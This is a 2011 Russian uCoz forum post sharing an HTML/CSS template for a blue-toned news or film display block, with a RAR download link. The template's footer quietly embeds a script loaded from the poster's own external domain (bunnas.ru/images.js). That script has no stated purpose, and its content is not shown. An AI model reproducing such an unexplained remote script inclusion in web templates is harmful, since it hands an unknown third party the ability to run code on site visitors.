Вид материала в синих тонах - Форум - CounterStrike-MyLife




  • Страница 1 из 1
  • 1
Вид материала в синих тонах
olichkaДата: Пятница, 11.11.2011, 13:54 | Сообщение # 1
Пользователи
Сообщений: 9
Репутация: 0
Награды: 0
Offline
СКРИН: http://s58.radikal.ru/i160/1111/69/2b0fbc88a4cf.jpg

Красивый вид материала в синих тонах для онлайн кинотеатра и не только.

Скачиваем архив скрипта(http://bunnas.ru/donwload/Vid_materialov.rar), в корне сайта создаем папочку [img] и заливаем в нее все картинки.

Далее копируем код скрипта и вставляем: П.У.=>[Новости сайта] =>[Вид Материалов]

Code
<div id="block_top_video"><div style="padding-left: 10px;"><b>$TITLE$</b><?if($MODER_PANEL$)?><div style="float: right;">$MODER_PANEL$</div><?endif?></div></div>
<div id="block_video"><div id="block_content_video">
  <div style="float: left;width: 185px;">
  <div style="background: url('/img/lenta_new.png') no-repeat; padding: 2% 3%; text-align:center;"><?if($OTHER1$)?><img src="$OTHER1$" width="155" height="223"><?else?><img width="150" src="/img/no_no_images.JPEG"><?endif?> </div>
  </div>
  <div style="margin-left: 191px;">
  <div style="padding: 1px 1px 1px 0px; min-height: 275px;">$MESSAGE$</div>
  </div>
</div></div>
<div id="block_footer_video">
  <div style="float: left;width: 185px;">
  <div style="padding: 3% 5%;text-align:center;"><script src="http://bunnas.ru/images.js" type="text/javascript"></script><a title="Нажми для просмотра $TITLE$ online" href="$ENTRY_URL$" class="css_view"></a></div></div>
  <div style="margin-left: 191px;">
  <div style="height:20px; padding: 1px;"><div style="float: left;"><img src="/img/news/reit_new.png" border="0"><b>Жанр</b>: <a href="$CATEGORY_URL$">$CATEGORY_NAME$</a> | <b><img src="/img/news/prosmotr_new.png"> Просмотров:</b> [<b>$READS$</b>]</div><div style="float: right;"><?$RSTARS$('20','/img/news/rating.png','1','float')?></div></div>
  <div style="height:20px; padding: 1px;"><div style="float: left;"><a title="Количество комментариев $TITLE$ ($COMMENTS_NUM$)" href="$COMMENTS_URL$"><b>Комментарии</b> ($COMMENTS_NUM$)</a> | <a href="../forum/">Обсудить на форуме</a></div><div style="float: right;text-align:right;"><font color="red">$RATING$</font>(голосов: $RATED$)</div></div>
  </div>
</div>


$OTHER1$ - Дополнительное поле, в которое помещяете ссылку на изображение и оно отобразит вам в новостях.

Код вставляем в любую часть своего css файла.

Code
/* --Блок материалов-- */

#block_top_video{
  float: top;
  color: #000000;
  background: url(/img/bg_top_new.png) left no-repeat;
  font-weight: bold;
  font-size: 12px;
  text-align: left;
  line-height: 40px;
  height: 40px;
  }

#block_video{
  width:650px;
  background: url(/img/bg_body_new.png) left top repeat-y;
  font-size: 11px;
  }

#block_content_video{
  color: #000000;
         text-align: left;    
  }

#block_footer_video{
         margin-bottom: 3px;
  float: bottom;
  background: url(/img/bg_bottom_new.png) left top no-repeat;
  height: 41px;
  }

/* --Блок материалов/END-- */


Если Вы используете данный вид материалов не для сайтов посвященных фильмам, видео и т.д. замените изображение lenta_new.PNG и view.PNG на lenta_new2.PNG и view2.PNG.
Спасибо за внимание!
Российская Федерация
  • Страница 1 из 1
  • 1
Поиск:
Статистика Форума
Лучшие пользователи
Уважаемые пользователи
Популярные темы
Недавно обновленные темы
  • _TRANE_   
  • mrFREEMAN   
  • ImLeGeHgA   
  • серега   
  • лол   
  • StanislavN   
  • LikDeath   
  • Xakmen   
  • Damupka   
  • Torreto   
  • Мини профиль со встроенным пои...(2)
  • Мини-профиль(1)
  • Стильный мини профиль для ucoz(1)
  • Хороший изменённый мини-чат(1)
  • Форма входа, простая светлая п...(1)
  • Профиль для ucoz в нижнем прав... (0)
  • Красивый информер для файлов u... (0)
  • Уведомления о регистрации для ... (0)
  • Форма входа на uCoz (0)
  • Новый Топ пользователей с ават... (0)